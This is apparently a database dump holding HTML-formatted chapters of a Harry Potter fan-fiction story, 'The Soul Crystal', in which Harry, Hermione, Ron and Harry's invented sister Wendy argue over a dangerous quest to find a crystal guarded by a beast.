sweet Hermione\'s mouth. She never swore. At least, not that he had heard. Her cheeks turn a bright shade of pink. &quot;Oh. I\'m sorry. That was rude of me.&quot; <p>\n\n</p></dd><dd> Harry smiled and shook his head. &quot;Don\'t worry about it. Compared to me and Ron, your mouth\'s as clean as an angel,&quot; he said with a bit too much admiration in his voice. Hermione blushed again and sat down next to him. &quot;Are you alright?&quot; <p>\n\n</p></dd><dd> &quot;I\'ll be fine. Studying and keeping myself busy is how I deal with things.&quot; Hermione glanced at the flame. &quot;How long have you been able to do this?&quot; <p>\n\n</p></dd><dd> Harry stared at the flame. &quot;About a week now.&quot; <p>\n\n</p></dd><dd> &quot;I\'m a little hurt that you didn\'t say anything,&quot; Hermione said as she bit her lower lip. <p>\n\n</p></dd><dd> &quot;I\'m sorry, Mione. I just thought after everything that happened you didn\'t need more problems on your plate.&quot; Harry looked down. <p>\n\n</p></dd><dd> &quot;Harry,&quot; Hermione said as she took his hand in hers, &quot;I\'m never so involved my own problems that I wouldn\'t want to help you with yours.&quot; She smiled lovingly and looked at the flame again. &quot;Besides. This isn\'t a problem. It\'s a wonderful thing. Wizards our age are never able to do wandless magic.&quot; <p>\n\n</p></dd><dd> &quot;It\'s just that I feel guilty having this power when you don\'t. Especially since you\'ve been studying it so hard.&quot; Harry stared at the rippling surface of the lake. <p>\n\n</p></dd><dd> Hermione laughed lightly. &quot;Harry, you\'ve always had an amazing talent with any kind of magic. Sure I know a lot of spells and I cast them very well, but the magic you have seems to come from inside you somewhere. It\'s always there when you need it most. I\'ve always been a little jealous of that. But even so, you should never feel guilty over things you can\'t control.&quot; <p>\n\n</p></dd><dd> Harry smiled. &quot;Thanks, Mione. Will you help me learn about it?&quot; <p>\n\n</p></dd><dd> &quot;Of course,&quot; Hermione replied with a smile. <p>\n\n</p></dd><dd> Harry hugged Hermione tightly. &quot;Oh! I almost forgot to tell you,&quot; he said as her broke the hug. His eyes were shining with excitement. <p>\n\n</p></dd><dd> &quot;What is it?&quot; Hermione said with anticipation and a smile. <p>\n\n</p></dd><dd> &quot;Ron found a book with information on the Soul Crystal!&quot; Harry nearly shouted. <p>\n\n</p></dd><dd> Hermione\'s eyes opened wide and her smile fell from her features. For an instant time stopped as Harry\'s words rang in her ears. The wind that blew off the lake seemed colder somehow and her hair stung her face as the wind whipped it around. <i>&quot;What should I do? I can\'t let him go.&quot;</i> she thought. <p>\n\n</p></dd><dd> &quot;Hermione? Mione, what\'s wrong?&quot; Concern clouded Harry\'s handsome face. <p>\n\n</p></dd><dd> Hermione broke out of her trance. &quot;You can\'t go! It\'s too dangerous!&quot; she blurted out. <p>\n\n</p></dd><dd> &quot;Mione, I\'ll be fine. I\'m just going to find a little crystal. We\'ve survived the forest before,&quot; he said as he held her shoulders. <p> Hermione\'s eyes became desperate. &quot;You can\'t go! I won\'t let you!&quot; </p><p>\n\n</p></dd><dd> &quot;Hermione, what do you know about this?&quot; Harry said as his eyes narrowed with suspicion. <p>\n\n</p></dd><dd> Hermione looked down and chewed her lower lip for a moment before answering. &quot;Dumbledore told me all about it...weeks ago. He told me not to say anything to you. He told me to keep you away from it.&quot; <p>\n\n</p></dd><dd> Harry was suddenly furious. &quot;You knew this whole time?! You knew it could bring my parents back and you didn\'t tell me!?&quot; <p>\n\n</p></dd><dd> Hermione\'s head snapped upward, she stared him in the eyes and her hands balled up into fists. &quot;You can\'t bring them back! Dumbledore told me it\'s not possible!&quot; <p>\n\n</p></dd><dd> &quot;I\'ll find a way!&quot; Harry yelled and stood up to leave. <p>\n\n</p></dd><dd> Hermione grabbed his hand and yanked him around to face her. &quot;Harry you can\'t! There\'s a monster guarding that thing!&quot; she cried. Tears began to fall from her eyes. <p>\n\n</p></dd><dd> Harry stopped for a second. &quot;What?&quot; <p>\n\n</p></dd><dd> &quot;Professor Dumbledore told me there\'s a monster guarding it. I think it\'s the one from your dream!&quot; <p>\n\n</p></dd><dd> Harry\'s body felt cold at the thought of that horrible beast, but his resolve came back quickly. &quot;I don\'t care! You don\'t know what it\'s like. You\'re parents are ALIVE!&quot; he yelled as he began to walk away. <p>\n\n</p></dd><dd> Hermione recoiled a bit from this. She had to say something. Something to make him stay. &quot;Harry, I love you!!&quot; she yelled. She instantly wished she hadn\'t said it. She made a little gasp as her hands flew to her face and covered her mouth. <p>\n\n</p></dd><dd> Now it was Harry\'s turn to freeze in time. <i>&quot;Did she just say what I think she said?&quot;</i> His robes fluttered in the wind. He just stood there, stunned, not knowing what to say. Hi argument about the Soul Crystal forgotten. <p>\n\n</p></dd><dd> Hermione began to get nervous. &quot;Harry?........Harry say something.&quot; <p>\n\n</p></dd><dd> Harry continued to look down. His hair covered any expression his face might have. &quot;I can\'t. The only appropriate response....would be a lie.&quot; <p>\n\n</p></dd><dd> Hermione\'s eyes squeezed tightly shut. Tears flowed freely from the corners. <p>\n\n</p></dd><dd> Harry stood in front of Hermione. &quot;Mione, I\'m sorry. I do have feelings for you. I\'m just not in love with you.&quot; He picked up her chin in his hand. &quot;Please understand. I don\'t want to hurt you for anything in the world.&quot; <p>\n\n</p></dd><dd> Hermione wiped her eyes with the back of her hand. &quot;Let me know if your feelings change?&quot; she said as she looked up at him with wishful eyes. <p>\n\n</p></dd><dd> Harry gave Hermione a small kiss on the cheek. &quot;You\'ll be the first to know. Would you mind just being my girlfriend for now?&quot; <p>\n\n</p></dd><dd>Hermione\'s mouth made a small smile. &quot;I\'d like that.&quot; <p>\n\n</p></dd><dd> Harry put his arm around her and the two made their way back to the castle through the cool morning mist. <p> .........TO BE CONTINUED<br>\n\n\n</p><center> =====================================================================</center>\n\n '),
	(31, 9, ' <center> Harry Potter and the Soul Crystal - Chapter 9<p>\n\n</p></center>\n\n<dd>The only characters/things I own are Wendy Kitanya, the bubble sprites, the Soul Crystal, the flamingo seeds, the razorum spell, the twindoma spell, the deednim reecal spell, the Magical Artifacts Throughout History book, the Soul Beast, the argot, the bright spots, Ardian and Rachel Tigerlilly. Please do not use them in a story without asking me first. <p>\n\n</p><center> ______________________________________________________________________________<br>\n ______________________________________________________________________________<br>\n ______________________________________________________________________________<p>\n\n</p></center>\n\n</dd><dd> Harry\'s mind was racing. <i>&quot;What should I do?&quot;</i> he thought as he half listened to professor Flitwick\'s directions. <i>&quot;Is it worth risking my life over?&quot;</i>\n\n<p>\n\n</p></dd><dd> &quot;No, no, Mr. Longbottom. You\'ll damage the violin that way,&quot; Professor Flitwick said as he raised his own wand. The class was learning how to make a violin play in midair. &quot;It\'s Chellarum. Not Shellarum. The only thing you\'ll succeed in doing is make the violin do barrel rolls.&quot; <p>\n\n</p></dd><dd> Suddenly Harry had a flash of inspiration. He had to talk to Wendy. It would have to wait till the end of class though. Harry\'s thoughts refocused on the class when he heard laughter. The violin was trying to bash Neville on the head. Even through his tense mood a little chuckle escaped his lips. <p>\n\n</p><center> ====================================================================== </center>\n\n<p>\n\n</p></dd><dd> &quot;Have you seen Wendy?&quot; Harry asked Hagrid. The half-giant turned his large head toward him. <p>\n\n</p></dd><dd> &quot;Said she was headin\' off ter the common room,&quot; he said as he heaved the bale of hay he held in his massive hands over a fence into the pegasus\' pen. <p>\n\n</p></dd><dd> &quot;Thanks, Hagrid,&quot; Harry replied as he turned to walk away. <p>\n\n</p></dd><dd> Hagrid looked thoughtful. &quot;Summat on yer mind, Harry?&quot; <p>\n\n</p></dd><dd> &quot;No no. Just wanted to ask her something,&quot; Harry said as he waved his hand dismissively. <p>\n\n</p></dd><dd> Hagrid\'s eyes narrowed. &quot;Harry....if you\'re thinkin of goin\' after that crystal....&quot; he warned, leaning against the fence. Harry had told Hagrid about the dreams he had been having lately. <p>\n\n</p></dd><dd> Harry tried his best to look indifferent. &quot;Naw. I reckon it\'s not worth the effort.&quot; <p>\n\n</p></dd><dd> Hagrid tapped his foot. &quot;Awright then. Why don\' you go find yer sister,&quot; he said with a warm smile. Harry said his thanks and left. Hagrid stared after him. &quot;Hmmmm. Better tell Dumbledore. Harry knows summat,&quot; he shooed away the pegasus who had been happily munching his hair. &quot;Better make sure there\'s an anti-invisibility charm roun\' the forest too.&quot; He grumbled. He felt a gentle tugging on his hair again. &quot;Off with ye\' !&quot; he scolded to the pegasus who managed to whack Hagrid with her tail as she turned to go to the water trough. <p>\n\n</p><center> ====================================================================== </center>\n\n<p>\n\n</p></dd><dd> Harry smiled when he saw Wendy. Actually he nearly laughed out loud. She was sprawled out on the couch nearest the fireplace. She looked like road kill. <p>\n\n</p></dd><dd> Hermione looked up and smiled when she saw Harry. &quot;Hi, Harry,&quot; she said as she gave him a hug. <p>\n\n</p></dd><dd> &quot;Hi.&quot; Harry returned the hug. &quot;Excuse me a minute,&quot; he said as he walked over to his sister. &quot;Wen.&quot; He shook her gently. <p>\n\n</p></dd><dd> Wendy opened a squinted eye. &quot;This had better be good, Harry.&quot; She sat up a bit. &quot;I was dreamin\' about Will Smith.&quot; <p>\n\n</p></dd><dd> &quot;I need to talk to you alone,&quot; Harry said. Hermione looked at Harry quizzically. He didn\'t notice. <p>\n\n</p></dd><dd> Wendy cocked her head to one side. &quot;Okay. Okay.&quot; She yawned and rubbed her eyes. &quot;Do you mind, Mione?&quot; <p>\n\n</p></dd><dd> &quot;Not at all.&quot; Hermione smiled. &quot;I\'ll just go back to reading my book.&quot; <p>\n\n</p></dd><dd> &quot;Thanks,&quot; Harry said as he gave Hermione a peck on the cheek. &quot;We\'ll be right back.&quot; He grabbed Wendy\'s hand and led her out the portrait door. <p>\n\n</p></dd><dd> Hermione sighed. &quot;He\'s up to something. I\'ll have to speak to him when he gets back.&quot; <p>\n\n</p><center> ====================================================================== </center>\n\n<p>\n\n</p></dd><dd> &quot;What?!&quot; Wendy said in disbelief. She put her hand on her brother\'s forehead. &quot;Yup. Just as I thought. Boiling over.&quot; <p>\n\n</p></dd><dd> Harry scowled and shoved her hand away. &quot;I am not sick,&quot; he said as he pushed her hand away. &quot;We need to find that crystal.&quot; <p>\n\n</p></dd><dd> Wendy sat down on the floor of the dining hall, which was empty at the moment. &quot;What we need is to stay in one piece. I was all hyped up ta\' find that thing too till I found out that monster in our nightmares is guarding it.&quot; She interlaced her fingers behind her neck and leaned her head back. &quot;Besides. What happened to ~You don\'t know enough magic to go into the forest.~ ?&quot; <p>\n\n</p></dd><dd> Harry slid down the wall to sit next to Wendy. He sighed. &quot;I think your beastmaster power could keep that thing under control.&quot; <p>\n\n</p></dd><dd> &quot;Ahhhh. I see,&quot; Wendy said as she put her arms around her knees. &quot;Look......Harry. You\'re my brother. I love you. But......I don\'t wanna throw away this great new life I have here for something we\'ve already been told can\'t bring back Mom and Dad.&quot; <p>\n\n</p></dd><dd> Harry closed his eyes. &quot;I think it can. There could be things people have never tried.&quot; He gave Wendy a look of desperation. &quot;Wen, they\'re trapped in that thing. I can\'t stand the thought of it. Even if we can only free their souls I have to try.&quot; <p>\n\n</p></dd><dd> Wendy let out a long puff of air. &quot;Alright. If it means that much to you.&quot; <p>\n\n</p></dd><dd> Harry gave a half smile. &quot;Thank you.&quot; <p>\n\n</p></dd><dd> &quot;Are we getting Ron into this?&quot; she said as she scratched her neck. <p>\n\n</p></dd><dd> &quot;Yeah, but not Mione,&quot; he said seriously. <p>\n\n</p></dd><dd> &quot;You think she\'ll try to stop you?&quot; Wendy questioned as she stood up. <p>\n\n</p></dd><dd> Harry stood as well. A small twinge of anger crossed his face. &quot;I know she will.&quot; <p>\n\n</p><center> ====================================================================== </center>\n\n<p>\n\n</p></dd><dd> Hagrid\'s sixth year Care Of Magical Creatures Class waited patiently outside the door of the newly constructed pool. Draco was taking extra care to stay on the opposite side of the crowd from Hermione. If it wasn\'t for Dumbledore his father could\'ve gotten him out of this mess but that muggle lover was one of the few people his father couldn\'t bribe. <p>\n\n</p></dd><dd> Draco sighed angrily as he stared at her. Even though she had rejected him, even though she now despised him worse than ever, her beauty still captivated him. He hated that. It revulsed him to his very core. He even felt bad about hurting her. That made him even more angry. He really hadn\'t meant to cause her pain. It just kind of happened. <i>&quot;What the bloody hell is she doing to me? I am Draco Malfoy! I am the heir to the oldest and greatest Wizarding family in the world&quot;</i> &quot;I AM NOT ATTRACTED TO A MUDBLOOD!&quot; he screamed. Everyone stared at him. He suddenly realized he had said the last part of his rant out loud and his face turned a nice shade of crimson. <p>\n\n</p></dd><dd> Hagrid put a giant hand on Draco\'s shoulder. &quot;Get yeself to Professor Dumbledore\'s office. NOW!&quot; Hagrid said with barely contained rage. Draco gritted his teeth and stormed off. Hagrid turned to Hermione. &quot;You alrigh\'?&quot; <p>\n\n</p></dd><dd> Hermione smiled. &quot;I don\'t even pay attention to that git anymore,&quot; she said as she shook her head. <p>\n\n</p></dd><dd> Hagrid smiled proudly. &quot;Good girl.&quot; He walked over to the door. &quot;You kids are gonna love this.&quot; He grinned. <p>\n\n</p></dd><dd> Hagrid opened the door and everyone stepped inside. Their eyes were wide as they took in the absolute massiveness of the pool. It was about the size of four Olympic pools. It\'s shallow end was only two feet deep but the other end was twenty feet. One corner of the deep end had what looked like a small holding pen. On the three walls not connected to the castle were giant windows. Each one was rounded at the top and was bordered by ocean blue curtains. The ceiling was enchanted like the dining hall except there were seagulls flying in the sky. The floor was made of tile that looked like wood. Paintings of mermaids were on the spaces between the windows. They were all waving and saying welcome. <p>\n\n</p></dd><dd> Hagrid instructed them to stand near the midpoint of the pool. &quot;Awright now. You kids keep it down. Argots are righ\' skittish.&quot; He opened the gate and out came one of the most beautiful creatures the trio had ever laid their eyes on. The argot was roughly six feet long from head to tail fin. Her skin was like a dolphin\'s, only it was pale blue. She had a delicate head with a small yellow beak, large green eyes, a deep blue fin on the back and a tiny gold horn on her forehead. Hagrid told the class that the horn was porous and she used it to breath when she was above water. Each of her cheeks had a small, blue fin shaped piece of skin that Hagrid explained protected her gills. On each side of her body, not too far below her head, were large, deep blue, fan shaped fins that slowly waved in the water. The fins were nearly transparent. She had a matching dorsal fin on her back. Her tail was straight and had one long blue fin that ran the entire length on the front and back. <p>\n\n</p></dd><dd> The argot cautiously left the safety of the pen and glided toward the group. Her tail propelled her forward as she swished it back and forth. Hagrid told the class that the large side fins were for balance and allowed her to stay upright as she swam. He knelt down and held out a handful of purple leaves. The argot let out a happy sound that reminded the group of a Japanese flute. She munched happily on the leaves then let out another chirp that sounded almost like gratitude. &quot;Hear that? That\'s the spirit call. Argots will be friends with almost anyone who gives them clam leaves as long as they\'ve got a good heart.&quot; He began to hand leaves out to the class. &quot;Now. One at a time. Hermione, you go first.&quot; <p>\n\n</p></dd><dd> Hermione knelt down and held out her hand of leaves. The argot ate the leaves and made the spirit call for her. She smiled. <p>\n\n</p></dd><dd>One by one the rest of the class tried feeding the argot. The argot would not make the spirit call for most of the Slytherins. When Goyle reached down the argot made an earsplitting shriek and used her muscular tail to drench him. The class exploded in laughter. <p>\n\n</p></dd><dd> &quot;Sorry I\'m late Hagrid!&quot; Echoed a voice from the door. &quot;My potions class ran over.&quot; Wendy was running toward the class. She had asked Hagrid if she could be there to see the argots. Her foot hit a puddle and she fell. Her backside hit the floor hard. &quot;Owie,&quot; she said as she rubbed the spot that was in pain. Hagrid offered Wendy a hand. Looking extremely embarrassed she took it and stood. The Slytherins were doubled over with laughter. <p>\n\n</p></dd><dd> Hagrid shot the Slytherins a look and they stopped laughing. &quot;Are you all right?&quot; <p>\n\n</p></dd><dd> &quot;Yeah. But I\'m gonna be feelin\' that for a week. Hagrid?&quot; Wendy said when she realized she didn\'t have Hagrid\'s undivided attention. <p>\n\n</p></dd><dd> Hagrid wasn\'t listening. He was staring at the argot who\'s horn was glowing with a brilliant light. Smiling, Wendy knelt down to the argot and began to stroke her face. &quot;Well I\'ll be,&quot; Hagrid exclaimed. &quot;I\'ve heard of the aquinesk, but I never thought I\'d see it.&quot; <p>\n\n</p></dd><dd> Harry spoke up. &quot;The aquinesk?&quot; <p>\n\n</p></dd><dd> &quot;They only do it fer beastmasters,&quot; Hagrid replied ,&quot;That\'s why ye don\' see it too often.&quot; <p>\n\n</p></dd><dd> &quot;Amazing,&quot; Hermione exclaimed. <p>\n\n</p></dd><dd> &quot;The best part hasn\'t happened yet,&quot; Hagrid said, winking. The argot backed up from Wendy a couple of feet, keeping her eyes fixed on the beastmaster. The horn glowed brighter and the argot began to play an enchanting song with the same flute-like tone she had used for the spirit call. Each note filled the students with a indescribable warmth. <p>\n\n</p></dd><dd> Harry looked at Hermione and clasped her hand. She smiled and leaned her head on his shoulder. They simply relaxed and enjoyed the aquinesk together. Harry loved the feel of her skin on his. It made him feel peaceful. He tilted his head to rest on hers and breathed in deeply. He loved her scent. She smelled intensely of the raspberry shampoo she used. He squeezed her hand. Somehow when ever she was with him now, he felt like he had come home. <p>\n\n</p></dd><dd> The argot\'s song ended, but for Harry and Hermione the warmth just stayed and stayed....and stayed.... <p> .........TO BE CONTINUED<br>\n\n\n</p><center> ======================================================================<p>\n\n</p></center>\n\n</dd><dd>You can see what the argot looks like by going to my website (Locate in my profile) I\'ll be adding a background to the pic later.  '),
	(31, 10, ' <center> Harry Potter and the Soul Crystal - Chapter 10 </center>\n\n<p>\n\n</p><dd>The only characters/things I own are Wendy Potter, the bubble sprites, the Soul Crystal, the flamingo seeds, the razorum spell, the twindoma spell, the deednim reecal spell, the Magical Artifacts Throughout History book, the Soul Beast, the argot, the bright spots, Ardian and Rachel Tigerlilly. Please do not use them in a story without asking me first. <p>\n\n</p><center> ====================================================================================<br>\n ====================================================================================<p>\n\n</p></center>\n\n</dd><dd> Hermione got up from her bed carefully so she wouldn\'t wake anyone up. She\'d been checking the last few nights to make sure Harry hadn\'t snuck out. She was worried he would do something stupid. She put on her robe and headed for the boy\'s dormitory. After a quick glance around the room to see if there were any prying eyes she tip toed over to Harry\'s bed and saw that he was not there. Her heart caught in her throat. He had gone after the crystal. She began to panic when a whispered voice came from behind her. &quot;I thought so.&quot; <p>\n\n</p></dd><dd> Hermione turned around to see Harry leaning against the wall to her right. He was barely visible in the shadows. &quot;Harry?&quot; She sighed in relief. &quot;Oh thank God. I thought you had.....&quot; <p>\n\n</p></dd><dd> Harry cut her off. &quot;You thought I went to the forest,&quot; he said with some bitterness in his voice. &quot;You\'ve been checking on me every night since the lake, haven\'t you?&quot; He took a step out of the shadows. <p>\n\n</p></dd><dd> Hermione bit her lower lip. &quot;I.......I was worried about you.&quot; <p>\n\n</p></dd><dd> &quot;Hermione, I care about you a lot, but back off. I\'m going to do this whether you like it or not. I\'m not asking you to come with me.&quot; <p>\n\n</p></dd><dd> &quot;Harry, please. Be reasonable. This isn\'t worth your life!&quot; she pleaded. <p>\n\n</p></dd><dd> Harry set his jaw. &quot;It\'s late. I\'m going to bed,&quot; Harry said as he sat down on the edge of his mattress. <p>\n\n</p></dd><dd> Hermione sat down next to Harry. &quot;Please,&quot; she said softly through her forming tears, &quot;I don\'t want to loose you. I can\'t loose you.&quot; Her tears began to fall freely. <p>\n\n</p></dd><dd> Harry softened a bit. &quot;Mione.&quot; He took her hand. &quot;I will come back to you. I promise,&quot; he said as he kissed her lovingly. <p>\n\n</p></dd><dd> Hermione sighed and fell into the kiss. She knew he would go no matter what she said. She felt her lips part as his tongue met hers. Such a heavenly, heartfelt kiss. How could he say he didn\'t love her? Suddenly, they heard a sneeze from under Harry\'s bed. There was a slight yelp as Harry yanked someone out by his arm. Ron was bright red as he looked at the disapproving scowls on his friend\'s faces. &quot;Ummmmm. Hi?&quot; he said nervously and stood up. <p>\n\n</p></dd><dd> Hermione smacked Ron upside the head. &quot;Pervert!&quot; she scolded. <p>\n\n</p></dd><dd> Ron waved his hands furiously back and forth. &quot;No. It wasn\'t like that. Honest. I was looking for my book Harry borrowed and then you guys got into such a serious conversation...... I just thought it was best to stay out of sight.&quot; His friends sighed and he took that as his cue to go back to his bed. <p>\n\n</p></dd><dd> Harry and Hermione said good night and she headed back to her dorm. Harry sat down on his bed and flopped backward on the mattress. He had been planning to leave for the forest just moments before she had come in. <i>&quot;Damn.&quot;</i> he cursed. Oh well. It was later than he had planned on leaving. If he wanted to make sure he would be back by morning then he had have to wait till tomorrow night. The only problem was the day after tomorrow was the dance. <p>\n\n</p><center>===========================================================================</center>\n\n<p>\n\n</p></dd><dd> The day dragged on very slowly. Harry felt like he had no patience for anything. &quot;Harry could you pass me the posa berries?&quot; Ron whispered. <p>\n\n</p></dd><dd> Harry\'s head snapped sideways. &quot;Do I look like your servant?!&quot; he yelled, breaking the previously long silence. <p>\n\n</p></dd><dd> Everyone nearly jumped out of their skin. Professor Snape had been in the middle of watching over Neville as he put the berries in his potion. Only three berries were supposed to go in but Neville dropped the entire handful and the resulting geyser pummeled Snape directly in the face. Snape wiped the goo from his eyes and glared menacingly at Harry. He stomped over to him. He did <i>not</i> like being made to look like a fool. &quot;POTTER!!!&quot; he growled. Harry sunk into his chair. &quot;You have just lost ten points for Gryffindor!&quot; <p>\n\n</p></dd><dd> The Gryffindors in the class glared at their housemate. Embarrassed, Harry sunk even lower in his seat while Snape trudged over to the sink to wash his face. <p>\n\n</p><center>===========================================================================</center>\n\n<p>\n\n</p></dd><dd> &quot;I said. How about we go to Hogsmeade tomorrow,&quot; Hermione repeated smiling. <p>\n\n</p></dd><dd> Harry blinked back his thoughts and shrugged. &quot;Sure. Snape\'s been following me around all day. I think he\'s trying to find something he can use as an excuse to take more points.&quot; He rolled his eyes. <p>\n\n</p></dd><dd> Ron laughed. Harry glared at him. &quot;Stop laughing. It\'s your fault,&quot; he said as he pointed at Ron. <p>\n\n</p></dd><dd> &quot;It\'s not my fault you\'ve got a bug up your arse today,&quot; Ron replied hotly as he crossed his arms. <p>\n\n</p></dd><dd> &quot;C\'mon you guys. Be nice,&quot; Wendy pleaded. <p>\n\n</p></dd><dd> &quot;Mione! Come here a minute!&quot; Lavender yelled across the field. <p>\n\n</p></dd><dd> &quot;Coming!&quot; Hermione yelled back. She went over to Harry and gave him a quick kiss. This resulted in a \'Whoo\' from Wendy and Ron. Hermione gave them a look. &quot;I\'ll be right back.&quot; <p>\n\n</p></dd><dd> As soon as Hermione was out of earshot Wendy spoke. &quot;So when are we going?&quot; <p>\n\n</p></dd><dd> Harry shook his head. &quot;I\'m not sure. I\'m having a hard time dodging Mione. Last night she had an alarm spell on the doorway.&quot; <p>\n\n</p></dd><dd> &quot;We could put a sleepin\' spell on her,&quot; Wendy suggested as she tilted her head a little and pretended to sleep. <p>\n\n</p></dd><dd> Harry hated the idea of doing it but....&quot;It might be the only way.&quot; He sighed. &quot;I just hope she\'ll forgive me.&quot; <p>\n\n</p></dd><dd> &quot;I think she will,&quot; Ron offered. <p>\n\n</p></dd><dd> &quot;Okay. Tonight then,&quot; Harry said decidedly. <p>\n\n</p><center>===========================================================================</center>\n\n<p>\n\n</p></dd><dd> Sirius Black laid on his back and stared at the sky. He was waiting for Hermione at the park in Hogsmeade. She had owled him earlier that week, saying it was urgent that she speak with him. A shadow overlaid his face. &quot;Hello, Hermione.&quot; <p>\n\n</p></dd><dd> Hermione set her purse down and joined Sirius on the grass. &quot;I\'m glad you came.&quot; <p>\n\n</p></dd><dd> &quot;So what is it?&quot; Sirius said as he sat up. <p>\n\n</p></dd><dd> &quot;I need to know more about the Soul Crystal and the beast guarding it.&quot; Hermione twisted a strand of hair as she spoke. <p>\n\n</p></dd><dd> &quot;Why?&quot; Sirius said with concern. <p>\n\n</p></dd><dd> &quot;I need more facts so I can convince Harry not to try and get it,&quot; Hermione said seriously. <p>\n\n</p></dd><dd> Sirius sat quiet for a moment, then sighed. &quot;What do you want to know?&quot; <p>\n\n</p></dd><dd> &quot;Just how is the Soul Beast connected to the crystal? And why did it wake up now?&quot; <p>\n\n</p></dd><dd> &quot;The Soul Beast sleeps inside the crystal until a special kind of witch or wizard comes close to the crystal\'s location. Then it wakes up and guards the crystal until the one that woke it up comes to claim it.&quot; <p>\n\n</p></dd><dd> &quot;What do you mean by \'special witch or wizard\'?&quot; <p>\n\n</p></dd><dd> &quot;Someone with a natural ability that others don\'t have. I\'m very surprised it didn\'t wake up when Harry came to Hogwarts. Considering he\'s a parsletounge&quot; <p>\n\n</p></dd><dd> &quot;But Harry\'s not evil!&quot; Hermione squeaked. <p>\n\n</p></dd><dd> &quot;Doesn\'t have to be. Once it called the person to it and they touched the crystal it would make them evil.&quot; <p>\n\n</p></dd><dd> Hermione cringed and then looked thoughtful. &quot;Why didn\'t Harry wake it up?&quot; <p>\n\n</p></dd><dd> Sirius turned his head to face the opposite direction from Hermione. &quot;It might have something to do with what he is,&quot; he said quietly to no one. <p>\n\n</p></dd><dd> Hermione was instantly confused. &quot;What do you mean? \'What he is.\' &quot; <p>\n\n</p></dd><dd> Sirius suddenly turned back to Hermione. His face was severe. &quot;Forget I said that.&quot; <p>\n\n</p></dd><dd> Hermione was a little annoyed. &quot;But....&quot; <p>\n\n</p></dd><dd> &quot;I said forget it. It\'s not my place to tell you.&quot; Seeing that she had slumped her shoulders in defeat he continued. &quot;I think the Soul Beast woke up because of Wendy.&quot; <p>\n\n</p></dd><dd> &quot;Wendy? Oh. Right, her beastmaster ability.&quot; <p>\n\n</p></dd><dd> &quot;Listen to me very carefully. We have to stop Harry at all costs. I\'m assuming he\'s convinced Wendy to go with him. If Wendy touches that crystal she\'ll become like Voldemort.&quot; <p>\n\n</p><center>===========================================================================</center>\n\n<p>\n\n</p></dd><dd> Sirius and Hermione flew back to the castle on his motorcycle. She had her eyes shut the entire time, cursing herself for not convincing him to walk. Suddenly she had an idea and asked Sirius to land his bike. &quot;What is it?&quot; Sirius asked when they had touched down. <p>\n\n</p></dd><dd> &quot;I want to do this myself,&quot; she said as she removed her helmet. <p>\n\n</p></dd><dd> &quot;What?&quot; Sirius replied, confused. <p>\n\n</p></dd><dd> &quot;I just...I think if Harry knows I went to you about this he\'ll be angry and even more determined,&quot; she said as she bit her lip. <p>\n\n</p></dd><dd> Sirius sighed. &quot;If you\'re sure...&quot; Hermione nodded. &quot;Alright. I\'ll just take you close enough to the castle so you won\'t have so much of a walk.&quot; <p>\n\n</p></dd><dd> Hermione replaced her helmet, put her arms around Sirius\'s waist and squinted her eyes shut. They took off into the afternoon sky. <p>\n\n</p><center>===========================================================================</center>\n\n<p>\n\n</p></dd><dd> Somewhere between waving goodbye to Sirius and the Gryffindor common room Hermione\'s plan took a completely different form. She pushed open the portrait door, grumbling about it the whole time. The fat lady had been refusing to open the door herself lately. She said doing it themselves would help the students build character. Ron had said he thought she was just being lazy and she completely agreed. <p>\n\n</p></dd><dd> Harry had just finished pouring a sleeping potion in Hermione\'s tea when she came in the room. He tossed it onto the couch where Ron palmed it. Thankfully she hadn\'t seen them do this. &quot;Hi Mione,&quot; Harry smiled. She just stood there. &quot;Mione?&quot; <p>\n\n</p></dd><dd> Hermione picked up her tea and nodded her head like she had decided something. &quot;Harry. I\'m going with you.&quot; <p>\n\n</p></dd><dd> &quot;Like Hell you are,&quot; Ron said. He stood in between Hermione and Harry. &quot;Don\'t let her. She just wants to make sure we\'re caught.&quot; <p>\n\n</p></dd><dd> &quot;No, I don\'t. I want you to be safe is all.&quot; She poked Ron in the chest. &quot;I also have some important information,&quot; she said as she pushed Ron out of the way. <p>\n\n</p></dd><dd> &quot;Okay,&quot; Harry decided. <p>\n\n</p></dd><dd> Ron went bug-eyed. &quot;What?!&quot; <p>\n\n</p></dd><dd> &quot;I trust her,&quot; he replied plainly. <p>\n\n</p></dd><dd> Ron sighed. &quot;Alright,&quot; he said as he folded his arms. <p>\n\n</p></dd><dd> Hermione sighed and went to take a sip of her tea. <p>\n\n</p></dd><dd> &quot;NO!&quot; Harry yelled and grabbed the tea out of her hand. He muttered a few swears under his breath as some of the hot tea splashed out onto his hand. <p>\n\n</p></dd><dd> &quot;Harry!? What on Earth......?&quot; Hermione said. She was clearly annoyed. Her expression softened a bit when she saw Harry cradling his hand. There were burns on it. <p>\n\n</p></dd><dd> Harry quickly thought of an answer. &quot;I saw Peeves near it earlier,&quot; he said. &quot;I thought he might\'ve done something to it.&quot; Hermione smiled and used her wand to heal the burns. Harry looked confused. &quot;When did you learn how to do that?&quot; <p>\n\n</p></dd><dd> &quot;I\'ve asked Madam Pomfrey to teach me healing magic.&quot; Hermione looked a little embarassed. &quot;I\'m thinking about becoming a nurse.&quot; <p>\n\n</p></dd><dd> &quot;That\'s great Mione!&quot; Harry exclaimed. Hermione\'s blush deepened. <p>\n\n</p></dd><dd> Ron eh-hemed. &quot;Can we stay on topic here?&quot; <p>\n\n</p></dd><dd> &quot;Sorry Ron,&quot; Hermione replied. She sighed. &quot;Wendy shouldn\'t go to the forest.&quot; <p>\n\n</p></dd><dd> &quot;Now just hold on a minute.&quot; Wendy hopped off the back of the couch where she had been sitting. &quot;First you don\'t even want to go and now you\'re tryin\' ta tell me I can\'t?&quot; she growled. Wendy had a pretty short fuse when she felt she was being bossed around by people she didn\'t feel had a right to do so. <p>\n\n</p></dd><dd> &quot;If you touch that crystal you\'ll become evil,&quot; Hermione shot back. <p>\n\n</p></dd><dd> &quot;What?&quot; Wendy scoffed. <p>\n\n</p></dd><dd> Hermione proceeded to tell them what she had learned. Although she told them she had found the information in a book she\'d had her mother send her from home. <p>\n\n</p></dd><dd> &quot;So I just won\'t touch the damned thing,&quot; Wendy offered. <p>\n\n</p></dd><dd> &quot;I don\'t think it\'s that simple,&quot; Hermione replied. &quot;From what I understand you\'ll be drawn to it.&quot; <p>\n\n</p></dd><dd> &quot;We\'ll protect her,&quot; Harry said. <p>\n\n</p></dd><dd> Hermione stared at Harry with disbelief. &quot;Harry. Please use some sense for once,&quot; she said with desperation. <p>\n\n</p></dd><dd> &quot;If Wendy doesn\'t come I can\'t do this! I need her to control the Soul Beast.&quot; Small lines of irritation were being drawn across his face. <p>\n\n</p></dd><dd> &quot;She can\'t control the beast if she\'s 